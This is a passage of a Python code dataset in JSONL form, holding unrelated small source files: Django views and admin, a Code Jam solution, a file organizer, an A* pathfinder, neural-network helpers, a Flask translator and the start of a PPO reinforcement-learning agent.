range(int(t)):\r\n\t\tn = int(f.readline())\r\n\t\tif n == 0:\r\n\t\t\tfout.write('CASE #'+str(i+1)+': INSOMNIA\\n')\r\n\t\telse:\r\n\t\t\tz = set(numb_to_dig(n))\r\n\t\t\tcount = 2\r\n\t\t\twhile z != digits:\r\n\t\t\t\tlast_num = n*count\r\n\t\t\t\tz.update(numb_to_dig(last_num))\r\n\t\t\t\tcount+=1\r\n\t\t\tfout.write('CASE #'+str(i+1)+': '+str(last_num)+'\\n')\r\n\r\n","sub_path":"codes/CodeJamCrawler/16_0_1_neat/16_0_1_pikochip_CJ2016_A.py","file_name":"16_0_1_pikochip_CJ2016_A.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"306218927","text":"from django.http import HttpResponse\nfrom django.shortcuts import get_object_or_404, render\nfrom django.core import serializers\nfrom django.views import generic\nfrom django.utils import timezone\nfrom django.contrib.auth.models import User\nfrom rest_framework import viewsets\nimport json, datetime\nfrom locations.serializers import UserSerializer, LocationSerializer\n\nfrom locations.models import Location\n\nclass IndexView(generic.ListView):\n template_name = 'locations/index.html'\n context_object_name = 'user_list'\n\n def get_queryset(self):\n return User.objects.filter(\n registered_date__lte=timezone.now())[:5]\n\n\ndef details(request, pid):\n u = get_object_or_404(User, pid__iexact=pid)\n locs = Location.objects.filter(user = u)\n return render(request, 'locations/details.html', {\n 'user': u,\n 'location_list':locs,\n })\n\n\ndef current_locations(request):\n res = []\n user_list = User.objects.all();\n for user in user_list:\n last_location = Location.objects.filter(user=user).order_by('-timestamp')\n if last_location:\n tmp = {}\n tmp['user'] = user\n tmp['last_location'] = last_location[0]\n res.append(tmp)\n return render(request, 'locations/current_locations.html', {\n 'last_location_list':res,\n })\n\ndef get_user_locations(request, pid):\n user = get_object_or_404(User, pid__iexact=pid)\n location_list = Location.objects.filter(user=user)\n serialized_location_list = serializers.serialize('json', location_list)\n context = { 'pid': user.pid, 'location_list': serialized_location_list }\n return HttpResponse(json.dumps(context), content_type=\"application/json\")\n\ndef save_user_locations(request):\n if request.method == 'POST':\n user = get_object_or_404(User, pid__iexact=request.POST.get('pid'))\n location = Location(user = user,\n latitude = request.POST.get('latitude'),\n longitude = request.POST.get('longitude'),\n timestamp = datetime.datetime.fromtimestamp(float(request.POST.get('timestamp'))))\n location.save()\n return HttpResponse(\"OK\")\n\ndef get_current_locations(request):\n res = []\n user_list = User.objects.all();\n for user in user_list:\n last_location = Location.objects.filter(user=user).order_by('-timestamp')[0]\n tmp = (user.pid, user.first_name, user.last_name, last_location.latitude, last_location.longitude, str(last_location.timestamp))\n res.append(tmp)\n return HttpResponse(json.dumps(res), content_type=\"application/json\")\n\nclass UserViewSet(viewsets.ModelViewSet):\n queryset = User.objects.all()\n serializer_class = UserSerializer\n\n\nclass LocationViewSet(viewsets.ModelViewSet):\n queryset = Location.objects.all()\n serializer_class = LocationSerializer\n\n","sub_path":"locations/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"175023702","text":"from bus import Bus\nfrom vehicle import Vehicle\nfrom bear import Bear\nfrom wolf import Wolf\nfrom school import School\nfrom school_bus import SchoolBus\nfrom city import City\nfrom call_sum import Sum\nfrom my_order import MyOrder\nfrom calculate import Calculate\nimport inspect\n\nif inspect.isclass(Vehicle):\n print('# 1. Vehicle class created with the following methods: \\n\\t', sorted(dir(Vehicle), reverse=True))\n\nif inspect.isclass(Bus):\n print('# 2. Bus class created with the following methods: \\n\\t', sorted(dir(Bus), reverse=True))\n\n# 3. Determine which class a given Bus object belongs to (Check type of an object)\n# from bus import Bus\nairport_bus = Bus(80, 90000, 22)\nprint('# 3: ', type(airport_bus))\n\n# 4. Determine if School_bus is also an instance of the Vehicle class\nSchool_bus = Bus(70, 90000, 34)\nprint('# 4:', isinstance(School_bus, Vehicle))\n\nif inspect.isclass(School):\n print('# 5. School class created with the following methods: \\n\\t', sorted(dir(School), reverse=True))\n\nif inspect.isclass(SchoolBus):\n print('# 6. SchoolBus class created with the following methods: \\n\\t', sorted(dir(SchoolBus), reverse=True))\n\n# 7. Polymorphism: Create two classes: Bear, Wolf. Both of them should have make_sound method.\n# Create two instances, one of Bear and one of Wolf,\n# make a tuple of it and by using for call their action using the same method.\nwhite_bear = Bear('Growl!')\narctic_wolf = Wolf('Howl!')\n\nprint('# 7:')\nfor animal in (white_bear, arctic_wolf):\n print('\\t', animal.make_sound())\n\n# 8. Create class City with name, population instance attributes, return a new instance only when population > 1500,\n# otherwise return message: \"Your city is too small\".\nprint('# 8:')\nlondon = City('London', 20000)\nprint('\\t', london)\n\nkyiv = City('Kyiv', 100)\nprint('\\t', kyiv)\n\n# Set value into private attribute\nprint('\\t # Additional ways to assign value to a private attribute:')\nlondon.set_budget(23424311434)\nprint('\\t\\t With getter and setter', london.get_budget())\nlondon._City__budget = 2982989101\nprint('\\t\\t With _object._class__variable', london._City__budget)\n\n# 9. Override a printable string representation of the City class\n# and return: The population of the city {name} is {population}\nlviv = City('Lviv', 1000000)\nprint('# 9:', str(lviv))\n\n# 10*. Override magic method __add__() to perform the additional action as 'multiply' (*)\n# the value which is greater than 10. And perform this add (+) of two instances.\n\n# I created a class called Calculate for this logic\na = Calculate(15)\nb = Calculate(7)\nprint('# 10:', a + b)\n\n# 11. The __call__ method enables Python programmers to write classes\n# where the instances behave like functions and can be called like a function.\n# Create a new class with __call__ method and define this call to return sum.\nfind_sum = Sum(1)\nprint('# 11:', find_sum(4, 5))\n\n# 12*. Making Your Objects Truthy or Falsey Using __bool__().\nprint('# 12:')\norder_1 = MyOrder(['a', 'b', 'c'], 'd')\nprint('\\t', bool(order_1))\n\norder_2 = MyOrder([], 'a')\nprint('\\t', bool(order_2))\n","sub_path":"homeworks/oop_1/hw4_theptinh_oop/hw4.py","file_name":"hw4.py","file_ext":"py","file_size_in_byte":3041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"230667476","text":"import sys\n\ntry:\n import os\n import shutil\n from platform import system\n from pyfiglet import figlet_format\n from termcolor import colored\nexcept ModuleNotFoundError as error:\n print(colored(error, color=\"red\"))\n input(colored(\"[!]Press Any Key To Exit ....\", color=\"red\"))\n sys.exit()\n\nclear = lambda: os.system(\"cls\") if system() == \"Windows\" else os.system(\"clear\")\n\nimageExtension = (\"png\", \"jpg\", \"jpeg\", \"gif\", \"ico\")\nvideoExtension = (\"mp4\", \"webm\", \"mov\", \"wmv\", \"avi\", \"mkv\")\ncodeExtension = (\"py\", \"html\", \"css\", \"js\", \"php\", \"cpp\", \"bat\", \"c\", \"vb\")\naudioExtension = (\"mp3\", \"ogg\", \"aac\")\ndocExtension = (\"pdf\", \"docx\", \"xlsx\", \"accdb\", \"pptx\")\nappExtension = (\"dmg\", \"exe\")\narchiveExtension = (\"zip\", \"rar\")\ntextExtension = \"txt\"\n\n\ndef organizeYourFiles(path: str) -> None:\n os.chdir(path)\n currentDir = os.getcwd()\n for filename in os.listdir(currentDir):\n if filename.endswith(imageExtension):\n if not os.path.exists(\"Images\"):\n os.mkdir(\"Images\")\n shutil.copy(filename, \"Images\")\n os.remove(filename)\n print(colored(f\"[+]Done {filename}\", color=\"blue\"))\n\n elif filename.endswith(videoExtension):\n if not os.path.exists(\"Videos\"):\n os.mkdir(\"Videos\")\n shutil.copy(filename, \"Videos\")\n os.remove(filename)\n print(colored(f\"[+]Done {filename}\", color=\"blue\"))\n\n elif filename.endswith(audioExtension):\n if not os.path.exists(\"Audios\"):\n os.mkdir(\"Audios\")\n shutil.copy(filename, \"Audios\")\n os.remove(filename)\n print(colored(f\"[+]Done {filename}\", color=\"blue\"))\n\n elif filename.endswith(codeExtension):\n if not os.path.exists(\"Codes\"):\n os.mkdir(\"Codes\")\n shutil.copy(filename, \"Codes\")\n os.remove(filename)\n print(colored(f\"[+]Done {filename}\", color=\"blue\"))\n\n elif filename.endswith(docExtension):\n if not os.path.exists(\"Docs\"):\n os.mkdir(\"Docs\")\n shutil.copy(filename, \"Docs\")\n os.remove(filename)\n print(colored(f\"[+]Done {filename}\", color=\"blue\"))\n \n elif filename.endswith(appExtension):\n if not os.path.exists(\"Apps\"):\n os.mkdir(\"Apps\")\n shutil.copy(filename, \"Apps\")\n os.remove(filename)\n print(colored(f\"[+]Done {filename}\", color=\"blue\"))\n \n elif filename.endswith(archiveExtension):\n if not os.path.exists(\"Archives\"):\n os.mkdir(\"Archives\")\n shutil.copy(filename, \"Archives\")\n os.remove(filename)\n print(colored(f\"[+]Done {filename}\", color=\"blue\"))\n \n elif filename.endswith(textExtension):\n if not os.path.exists(\"Texts\"):\n os.mkdir(\"Texts\")\n shutil.copy(filename, \"Texts\")\n os.remove(filename)\n print(colored(f\"[+]Done {filename}\", color=\"blue\"))\n \n else:\n print(colored(f\"[!]Not Found {filename}\", color=\"red\"))\n\n print(\"\\n\")\n print(colored(\"[++]DONE ALL\", color=\"blue\"))\n\n\nif __name__ == '__main__':\n clear()\n print()\n print(colored(figlet_format(\"Folder Organizer\"), color=\"blue\"))\n print(\"\\n\")\n folderPath = input(colored(\"[+]Folder Path: \", color=\"blue\"))\n print(\"\\n\")\n organizeYourFiles(path=folderPath)\n","sub_path":"folderOrganizer.py","file_name":"folderOrganizer.py","file_ext":"py","file_size_in_byte":3482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"646769044","text":"#!/usr/bin/env python\r\nimport numpy as np\r\n\r\ndef getModelData():\r\n\t\"\"\" Returns dictionaries containing data about the polymer-water system\r\n\t and about the different cutoffs used in the system\r\n\t\"\"\"\r\n\tpoly_dict = { \"N_mon\": 25, \"N_poly\": 1, \"N_water\" : 1700,\r\n \t \"blength\" : 1.5300, \"Mass_mon\" : 16.0427,\r\n \t \"Kbond\" : 400, \t \"r0\" : 1.53,\r\n \t \"Kangle\" : 55.17204, \r\n \t \"theta0\" : 111.00*(np.pi/180.0),\r\n \t \"LJEpsilon\" : 0.13986, \"LJSigma\" : 3.73}\r\n\r\n\tcut_dict = {\"SPCut\": 7.0, \"LJCut\" : 10.0, \"WCACut\" : 4.187,\n\t\t\t\t\"LDCut\": 6.5, \"LDLowerCut\" : 4.635}\n\t\t\t\t\n\tTempSet = 298.0\n\tret = {'poly_dict': poly_dict, 'cut_dict': cut_dict, 'TempSet': TempSet}\n\treturn ret\r\n \r\n","sub_path":"chem_data.py","file_name":"chem_data.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"71478072","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nfrom .models import Comment\nfrom django import forms\n\n\nclass CommentForm(forms.ModelForm):\n class Meta:\n model = Comment\n fields = ['name', 'text']\n widgets = {\n 'text': forms.Textarea(attrs={'row': 100, 'cols': 100})\n }\n\n","sub_path":"comments/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"603384573","text":"# coding: utf-8\n\nfrom sqlalchemy.orm.exc import NoResultFound\nfrom sqlalchemy.orm.exc import MultipleResultsFound\n\nfrom .. import session # noqa\nfrom .. import db_delete # noqa\n\n\nclass QueryMixin(object):\n \"\"\"Mixin with common method available to model classes \"\"\"\n\n @classmethod\n def get(cls, id=None, code=None):\n query = cls._query()\n if id is not None:\n query = query.filter(cls.id == id)\n if code is not None:\n query = query.filter(cls.code == code)\n return query.one()\n\n @classmethod\n def query(cls, *args, **kwargs):\n return cls._query(*args, **kwargs).all()\n\n @classmethod\n def count(cls, *args, **kwargs):\n return cls._query(*args, **kwargs).count()\n\n @classmethod\n def exists(cls, *args, **kwargs):\n try:\n cls.get(*args, **kwargs)\n return True\n except NoResultFound:\n return False\n except MultipleResultsFound:\n return True\n\n @classmethod\n def iterquery(cls, batch=50, **kwargs):\n return cls._query(**kwargs).yield_per(batch)\n\n @classmethod\n def _query(cls, order_by=None, offset=None, limit=None):\n query = session.query(cls)\n if order_by is not None:\n query = query.order_by(order_by)\n if offset is not None:\n query = query.offset(offset)\n if limit is not None:\n query = query.limit(limit)\n\n return query\n\n def delete(self):\n db_delete(self)\n\n def __repr__(self):\n if hasattr(self, 'name') and self.name:\n identifier = self.name.encode('utf-8')\n elif hasattr(self, 'title') and self.title:\n identifier = self.title.encode('utf-8')\n elif self.id:\n identifier = '[id: %d]' % self.id\n else:\n identifier = '[new]'\n return \"<%s: %s>\" % (self.__class__.__name__, identifier)\n","sub_path":"src/lib/dbtools/models/query_mixin.py","file_name":"query_mixin.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"616049404","text":"from django.contrib import admin\nfrom ecommerce_shop.models import Category, Product\n\n\n@admin.register(Product)\nclass ProductAdmin(admin.ModelAdmin):\n list_display = ('title', 'slug')\n prepopulated_fields = {'slug': ('title',)}\n fieldsets = (\n (\"Название\", {\n \"fields\": ((\"title\", \"slug\"), (\"description\",))\n }),\n (\"Управление\", {\n \"fields\": (\"draft\", \"category\", \"image\")\n }),\n (\"Цена\", {\n \"fields\": (\"price\", \"discount\")\n }),\n\n )\n\n\n@admin.register(Category)\nclass CategoryAdmin(admin.ModelAdmin):\n list_display = ('title', 'slug')\n prepopulated_fields = {'slug': ('title',)}\n","sub_path":"ecommerce_shop/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"119999255","text":"# -*- coding: utf-8 -*-\nfrom Qt.QtWidgets import *\nfrom Qt.QtCore import *\nfrom Qt.QtGui import *\nimport resource\n\n\nclass Ui_ThumbnailWidget(object):\n def setupUi(self, ThumbnailWidget):\n ThumbnailWidget.setObjectName(\"ThumbnailWidget\")\n ThumbnailWidget.resize(347, 266)\n ThumbnailWidget.setStyleSheet(\"\")\n self.thumbnail = QLabel(ThumbnailWidget)\n self.thumbnail.setGeometry(QRect(210, 190, 81, 61))\n self.thumbnail.setMinimumSize(QSize(0, 0))\n self.thumbnail.setMaximumSize(QSize(16777215, 16777215))\n self.thumbnail.setStyleSheet(\"\")\n self.thumbnail.setText(\"\")\n self.thumbnail.setScaledContents(False)\n self.thumbnail.setAlignment(Qt.AlignCenter)\n self.thumbnail.setObjectName(\"thumbnail\")\n self.buttons_frame = QFrame(ThumbnailWidget)\n self.buttons_frame.setGeometry(QRect(40, 30, 211, 191))\n self.buttons_frame.setStyleSheet(\"#buttons_frame {\\n\"\n\"border-radius: 2px;\\n\"\n\"background-color: rgba(0,0,0, 64);\\n\"\n\"}\")\n self.buttons_frame.setFrameShape(QFrame.NoFrame)\n self.buttons_frame.setFrameShadow(QFrame.Plain)\n self.buttons_frame.setLineWidth(0)\n self.buttons_frame.setObjectName(\"buttons_frame\")\n self.verticalLayout_2 = QVBoxLayout(self.buttons_frame)\n self.verticalLayout_2.setContentsMargins(0, 0, 0, 0)\n self.verticalLayout_2.setObjectName(\"verticalLayout_2\")\n spacerItem = QSpacerItem(20, 52, QSizePolicy.Minimum, QSizePolicy.Expanding)\n self.verticalLayout_2.addItem(spacerItem)\n self.horizontalLayout_2 = QHBoxLayout()\n self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\")\n spacerItem1 = QSpacerItem(20, 20, QSizePolicy.Expanding, QSizePolicy.Minimum)\n self.horizontalLayout_2.addItem(spacerItem1)\n self.camera_btn = QPushButton(self.buttons_frame)\n sizePolicy = QSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.camera_btn.sizePolicy().hasHeightForWidth())\n self.camera_btn.setSizePolicy(sizePolicy)\n self.camera_btn.setMinimumSize(QSize(64, 64))\n self.camera_btn.setMaximumSize(QSize(16777215, 16777215))\n self.camera_btn.setCursor(Qt.PointingHandCursor)\n self.camera_btn.setStyleSheet(\"#camera_btn {\\n\"\n\" background-color: rgba( 0, 0, 0, 0 );\\n\"\n\" image: url(:/images/camera.png);\\n\"\n\" margin: 5px;\\n\"\n\" border: none;\\n\"\n\"}\\n\"\n\"#camera_btn:hover {\\n\"\n\" image: url(:/images/camera_hl.png);\\n\"\n\"}\\n\"\n\"#camera_btn:focus:pressed {\\n\"\n\" image: url(:/images/camera_hl.png);\\n\"\n\"}\\n\"\n\"\\n\"\n\"\")\n self.camera_btn.setText(\"\")\n self.camera_btn.setIconSize(QSize(64, 64))\n self.camera_btn.setFlat(True)\n self.camera_btn.setObjectName(\"camera_btn\")\n self.horizontalLayout_2.addWidget(self.camera_btn)\n spacerItem2 = QSpacerItem(20, 20, QSizePolicy.Expanding, QSizePolicy.Minimum)\n self.horizontalLayout_2.addItem(spacerItem2)\n self.horizontalLayout_2.setStretch(0, 1)\n self.horizontalLayout_2.setStretch(1, 2)\n self.horizontalLayout_2.setStretch(2, 1)\n self.verticalLayout_2.addLayout(self.horizontalLayout_2)\n spacerItem3 = QSpacerItem(20, 51, QSizePolicy.Minimum, QSizePolicy.Expanding)\n self.verticalLayout_2.addItem(spacerItem3)\n self.verticalLayout_2.setStretch(0, 1)\n self.verticalLayout_2.setStretch(1, 2)\n self.verticalLayout_2.setStretch(2, 1)\n\n self.retranslateUi(ThumbnailWidget)\n QMetaObject.connectSlotsByName(ThumbnailWidget)\n\n def retranslateUi(self, ThumbnailWidget):\n try:\n ThumbnailWidget.setWindowTitle(QApplication.translate(\"ThumbnailWidget\", \"Screen Shot\", None, QApplication.UnicodeUTF8))\n except:\n ThumbnailWidget.setWindowTitle(QApplication.translate(\"ThumbnailWidget\", \"Screen Shot\", None))\n\nif __name__ == \"__main__\":\n pass\n","sub_path":"mliber_qt_components/screen_shot/screen_shot_ui.py","file_name":"screen_shot_ui.py","file_ext":"py","file_size_in_byte":4032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"305882065","text":"from typing import Optional\n\nfrom anubis.models import Config\nfrom anubis.utils.cache import cache\n\n\n@cache.memoize(timeout=10, source_check=True)\ndef get_config_str(key: str, default: Optional[str] = None) -> Optional[str]:\n \"\"\"\n Get a config str entry for a given config key. Optionally specify a\n default value for if the key does not exist in the config table.\n\n :param key:\n :param default:\n :return:\n \"\"\"\n\n # Query database for config row\n config_value: Config = Config.query.filter(Config.key == key).first()\n\n # Check that the config value exists\n if config_value is None:\n\n # Return default if entry was not found\n return default\n\n # Return the string value if it exists\n return config_value.value\n\n\n@cache.memoize(timeout=10, source_check=True)\ndef get_config_int(key: str, default: Optional[int] = None) -> Optional[int]:\n \"\"\"\n Get a config int entry for a given config key. Optionally specify a\n default value for if the key does not exist in the config table.\n\n :param key:\n :param default:\n :return:\n \"\"\"\n\n # Query database for config row\n config_value: Config = Config.query.filter(Config.key == key).first()\n\n # Check that the config value exists\n if config_value is None:\n # Return default if entry was not found\n return default\n\n # Attempt to convert and return the entry as an int\n try:\n # Try to convert the value to an int. This will raise a value\n # exception if there is any issue with the format with the\n # value.\n config_value_int = int(config_value.value.strip())\n\n # Pass back the converted integer value\n return config_value_int\n\n # ValueError will be raised if the underlying config value could\n # not be converted to an int.\n except ValueError:\n\n # If there was any issue, return default\n return default\n","sub_path":"api/anubis/utils/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"248368651","text":"import math\n\n\ndef heuristic(first_point, second_point):\n return abs(first_point.x - second_point.x) + abs(first_point.y - second_point.y)\n\n\nclass Point:\n def __init__(self, x, y, blocked=False):\n self.x = x\n self.y = y\n self.blocked = blocked\n self.gScore = math.inf\n self.fScore = math.inf\n self.hScore = math.inf\n self.neighbours = []\n self.beginning = False\n self.target = False\n self.previous = None\n\n\nclass AStar:\n def __init__(self, start_point, end_point, map_array):\n self.width = len(map_array[0])\n self.height = len(map_array)\n self.collisions = self.parseCollisions(map_array)\n self.start = self.collisions[start_point.y][start_point.x]\n self.end = self.collisions[end_point.y][end_point.x]\n self.openSet = []\n self.closedSet = []\n self.init()\n\n def parseCollisions(self, map_array):\n newCollisions = []\n for h in range(self.height):\n newCollisions.append([])\n for w in range(self.width):\n newCollisions[h].append(Point(w, h, map_array[h][w] == 1))\n\n return newCollisions\n\n def addNeighbours(self):\n for h in range(self.height):\n for w in range(self.width):\n self.collisions[h][w] = self.addPointNeighbours(self.collisions[h][w])\n\n def addPointNeighbours(self, node):\n x = node.x\n y = node.y\n neighbours = []\n\n if x > 0:\n neighbours.append(self.collisions[y][x - 1]) # lewo\n if y > 0:\n neighbours.append(self.collisions[y - 1][x]) # góra\n if x < self.width - 1:\n neighbours.append(self.collisions[y][x + 1]) # prawo\n if y < self.height - 1:\n neighbours.append(self.collisions[y + 1][x]) # dół\n if x > 0 and y > 0:\n neighbours.append(self.collisions[y - 1][x - 1]) # lewo, góra\n if y > 0 and x < self.width - 1:\n neighbours.append(self.collisions[y - 1][x + 1]) # prawo, góra\n if x > 0 and y < self.height - 1:\n neighbours.append(self.collisions[y + 1][x - 1]) # lewo, dół\n if x < self.width - 1 and y < self.height - 1:\n neighbours.append(self.collisions[y + 1][x + 1]) # prawo, dół\n\n node.neighbours = neighbours\n\n return node\n\n def getLowestFScore(self):\n lowestIndex = 0\n for idx, node in enumerate(self.openSet):\n if node.fScore < self.openSet[lowestIndex].fScore:\n lowestIndex = idx\n\n return lowestIndex\n\n def reconstructPath(self):\n path = []\n currentNode = self.end\n\n while currentNode is not self.start:\n path.append(currentNode)\n currentNode = currentNode.previous\n\n path.append(self.start)\n path.reverse()\n return path\n\n def findPath(self):\n while len(self.openSet) > 0:\n currentIndex = self.getLowestFScore()\n currentNode = self.openSet[currentIndex]\n if currentNode == self.end:\n return self.reconstructPath()\n\n self.openSet.remove(self.openSet[currentIndex])\n self.closedSet.append(currentNode)\n\n for neighbour in currentNode.neighbours:\n if neighbour in self.closedSet:\n continue\n\n isBetter = False\n tentativeScore = currentNode.gScore + 1\n\n if self.end is self.collisions[neighbour.y][neighbour.x]:\n self.openSet.append(neighbour)\n neighbour.hScore = heuristic(neighbour, self.end)\n isBetter = True\n\n elif neighbour not in self.openSet and neighbour.blocked is False:\n self.openSet.append(neighbour)\n neighbour.hScore = heuristic(neighbour, self.end)\n isBetter = True\n\n elif tentativeScore < neighbour.gScore and neighbour.blocked is False:\n isBetter = True\n\n if isBetter:\n neighbour.previous = currentNode\n neighbour.gScore = tentativeScore\n neighbour.fScore = neighbour.gScore + neighbour.hScore\n\n return []\n\n def init(self):\n self.start.beginning = True\n self.start.gScore = 0\n self.start.fScore = heuristic(self.start, self.end)\n\n self.end.target = True\n self.end.gScore = 0\n\n self.openSet.append(self.start)\n\n self.addNeighbours()\n\n\nmy_map = [\n [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 1, 0, 0, 0, 0, 0, 0],\n [0, 1, 0, 0, 0, 0, 1, 0],\n [0, 0, 1, 0, 0, 0, 1, 0],\n [0, 0, 1, 0, 0, 0, 1, 0],\n [0, 0, 1, 0, 0, 0, 1, 0],\n [0, 0, 1, 0, 1, 1, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0],\n]\n\nstart = Point(0, 0)\nend = Point(7, 7)\n\nroad = AStar(start, end, my_map).findPath()\n\nif len(road) == 0:\n print(\"Nie znaleziono trasy.\")\nelse:\n for index, point in enumerate(road):\n print(f\"Krok {index + 1}: ({point.x}, {point.y})\")","sub_path":"Astar.py","file_name":"Astar.py","file_ext":"py","file_size_in_byte":5073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"339818212","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# Author:ZhengzhengLiu\n \nimport numpy as np\n \n#sigmoid激活函数\ndef sigmoid(Z):\n \"\"\"\n param :\n Z: 任意维度的numpy数组\n return:\n A -- sigmoid(Z)的输出,与Z的维度相同\n cache -- 返回Z,存储起来在反向传播时使用\n \"\"\"\n A = 1/(1+np.exp(-Z))\n cache = Z\n \n return A,cache\n \n# ReLU激活函数\ndef relu(Z):\n \"\"\"\n param :\n Z -- 任意维度,线性层的输出\n return:\n A -- 激活后的结果, 与Z的维度相同\n cache -- python字典包含\"A\" ,存储起来以便高效执行反向传播\n \"\"\"\n A = np.maximum(0,Z)\n \n # Python中的assert断言用起来非常简单,可在assert后面跟上任意判断条件\n # 如果断言失败则会抛出异常\n assert (A.shape == Z.shape)\n cache = Z\n \n return A,cache\n \n#利用ReLU单元计算反向传播\ndef relu_backward(dA,cache):\n \"\"\"\n param :\n dA -- 任意维度,损失函数对A的梯度\n cache -- Z,存储起来在反向传播时使用\n return:\n dZ -- 损失函数对Z的梯度 = 损失函数对A的梯度 * relu激活函数对Z的梯度\n \"\"\"\n Z = cache\n dZ = np.array(dA,copy=True) #relu激活函数在Z>0时梯度为1\n \n #当Z<=0时,将dZ设置为0\n dZ[Z <= 0] = 0\n assert (dZ.shape == Z.shape)\n \n return dZ\n \n#利用sigmoid单元计算反向传播\ndef sigmoid_backward(dA,cache):\n \"\"\"\n param :\n dA -- 任意维度,损失函数对A的梯度\n cache -- Z,存储起来在反向传播时使用\n return:\n dZ -- 损失函数对Z的梯度 = 损失函数对A的梯度 * sigmoid激活函数对Z的梯度\n \"\"\"\n Z = cache\n s = 1/(1+np.exp(-Z))\n \n dZ = dA * s * (1 - s)\n \n assert (dZ.shape == Z.shape)\n return dZ\n","sub_path":"NeuralNetworks/dnn_utils.py","file_name":"dnn_utils.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"173589979","text":"def sol(data):\n count = 1\n stack = []\n result = []\n for i in range(len(data)):\n while count <= data[i]:\n stack.append(count)\n count += 1\n result.append('+')\n if stack[-1] == data[i]:\n stack.pop()\n result.append('-')\n\n else:\n return 'no'\n return result\n\n\n\n\n\ndata = [ 4 , 3, 6 , 8 , 7, 5, 2, 1]\n\nprint(sol(data))","sub_path":"09_test/t03.py","file_name":"t03.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"58699660","text":"from flask import Flask, render_template, request\nfrom final_project.machinetranslation.translator import translate_en_to_fr, translate_fr_to_en\n\napp = Flask(\"Web Translator\")\n\n\n@app.route(\"/englishToFrench\")\ndef englishToFrench():\n textToTranslate = request.args.get('textToTranslate')\n return translate_en_to_fr(textToTranslate)\n\n\n@app.route(\"/frenchToEnglish\")\ndef frenchToEnglish():\n textToTranslate = request.args.get('textToTranslate')\n return translate_fr_to_en(textToTranslate)\n\n\n@app.route(\"/\")\ndef homepage():\n return render_template(\"index.html\")\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=8081)\n","sub_path":"final_project/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"517721384","text":"import time\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.distributions import Categorical\n\nimport rlberry.spaces as spaces\nfrom rlberry.agents import IncrementalAgent\n\n# choose device\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n\nclass ValueNet(nn.Module):\n def __init__(self, state_dim, hidden_size=64):\n super(ValueNet, self).__init__()\n # critic\n self.critic = nn.Sequential(\n nn.Linear(state_dim, hidden_size),\n nn.Tanh(),\n nn.Linear(hidden_size, hidden_size),\n nn.Tanh(),\n nn.Linear(hidden_size, 1)\n )\n\n def forward(self, state):\n state_value = self.critic(state)\n return torch.squeeze(state_value)\n\n\nclass PolicyNet(nn.Module):\n def __init__(self, state_dim, action_dim, hidden_size=64):\n super(PolicyNet, self).__init__()\n # actor\n self.actor = nn.Sequential(\n nn.Linear(state_dim, hidden_size),\n nn.Tanh(),\n nn.Linear(hidden_size, hidden_size),\n nn.Tanh(),\n nn.Linear(hidden_size, action_dim)\n )\n self.softmax = nn.Softmax(dim=-1)\n\n def forward(self, state):\n action_probs = self.softmax(self.actor(state))\n dist = Categorical(action_probs)\n return dist\n\n def action_scores(self, state):\n action_scores = self.actor(state)\n return action_scores\n\n\nclass Memory:\n def __init__(self):\n self.actions = []\n self.states = []\n self.logprobs = []\n self.rewards = []\n self.is_terminals = []\n\n def clear_memory(self):\n del self.actions[:]\n del self.states[:]\n del self.logprobs[:]\n del self.rewards[:]\n del self.is_terminals[:]\n\n\nclass PPOAgent(IncrementalAgent):\n \"\"\"\n References\n ----------\n Schulman, J., Wolski, F., Dhariwal, P., Radford, A. & Klimov, O. (2017).\n \"Proximal Policy Optimization Algorithms.\"\n arXiv preprint arXiv:1707.06347.\n\n Schulman, J., Levine, S., Abbeel, P., Jordan, M., & Moritz, P. (2015).\n \"Trust region policy optimization.\"\n In International Conference on Machine Learning (pp. 1889-1897).\n \"\"\"\n\n name = \"PPO\"\n fit_info = (\"n_episodes\", \"episode_rewards\")\n\n def __init__(self, env,\n n_episodes=4000,\n batch_size=8,\n horizon=256,\n gamma=0.99,\n learning_rate=0.01,\n eps_clip=0.2,\n k_epochs=5,\n verbose=1,\n **kwargs):\n \"\"\"\n env : Model\n Online model with continuous (Box) state space and discrete actions\n n_episodes : int\n Number of episodes\n batch_size : int\n Number of 